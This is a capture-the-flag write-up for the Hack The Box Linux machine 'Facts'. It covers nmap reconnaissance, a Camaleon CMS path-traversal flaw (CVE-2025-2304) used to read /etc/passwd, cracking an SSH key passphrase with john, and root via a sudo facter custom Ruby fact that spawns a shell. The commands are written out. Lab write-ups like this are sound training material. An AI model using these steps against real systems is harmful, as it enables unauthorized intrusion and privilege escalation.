← All writeups

HTB writeup · Hack The Box

Facts

By Anmol Chaudhary (BustaYaga)

System

Linux

Difficulty

Easy

Solved

31 May 2026

Machine Info

Tools Used

Summary

Facts is an Easy Linux machine running a Camaleon CMS instance that allows self-registration of low-privilege accounts. The CMS (v2.9.0) is vulnerable to CVE-2025-2304, a path-traversal / file-disclosure flaw that leaks both an AWS S3 access token embedded in the dashboard and the server's /etc/passwd. Connecting to the S3 endpoint recovers a passphrase-protected SSH key whose passphrase cracks to dragonballz; combined with a username enumerated from the leaked passwd, this gives an initial foothold as trivia. Privilege escalation abuses a passwordless sudo entry for facter, whose custom-fact Ruby evaluation is used to spawn a root shell.

Reconnaissance

Initial Scan (NMAP)

An aggressive nmap scan shows only two open ports - SSH and an nginx web server that redirects to facts.htb.

# Nmap 7.98 scan initiated as: nmap -sC -sV -A -oN scan.txt 10.129.227.142
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.26.3 (Ubuntu)
|_http-title: Did not follow redirect to http://facts.htb/
|_http-server-header: nginx/1.26.3 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Open Ports:

Vulnerability Identification

Identified Technologies

CVEs / Vulnerabilities Identified

Initial Access

CMS Enumeration & Registration

Browsing the site reveals an admin area at facts.htb/admin where clients can register an account with low permissions. After registering and logging in, the dashboard identifies itself as Camaleon CMS v2.9.0 - a version affected by CVE-2025-2304.

Credential Harvesting

The authenticated dashboard exposes AWS S3 access details (access key ID and connection info) for a backend bucket. Connecting to that endpoint and traversing it recovers a private SSH key. The key is passphrase-protected, so it is converted and cracked offline:

ssh2john facts.id > facts_id.hash
john --wordlist=/usr/share/wordlists/rockyou.txt facts_id.hash
# passphrase recovered:
dragonballz

Separately, the Camaleon dashboard's path-traversal flaw (CVE-2025-2304) is abused to download /etc/passwd, which enumerates two interactive users:

trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash

Credentials Found:

Foothold as trivia

Using trivia as the username with the cracked passphrase dragonballz grants an SSH session on the box. The user flag lives under /home/william - reachable because it was the previous working directory referenced during the session - rather than in trivia's own home.

ssh [email protected]
# password: dragonballz

trivia@facts:~$ cat /home/william/user.txt
---CENSORED---

Privilege Escalation

Enumeration

Checking sudo rights shows that trivia can run /usr/bin/facter as root without a password. Facter (part of the Puppet ecosystem) loads custom facts written as Ruby scripts from a directory you control - which means arbitrary Ruby, and therefore arbitrary commands, run as root.

trivia@facts:~$ sudo -l
    (root) NOPASSWD: /usr/bin/facter

Root via Custom Facter Fact

A malicious custom fact is dropped into trivia's home directory and loaded via --custom-dir, spawning a root shell:

echo 'exec("/bin/bash")' > exploit.rb
sudo /usr/bin/facter --custom-dir /home/trivia/

# root shell
whoami
# root

Root Flag

cat /root/root.txt
---CENSORED---

Completed as part of HackTheBox practice in a legal, controlled environment.

Completed as part of HackTheBox practice in a legal, controlled environment.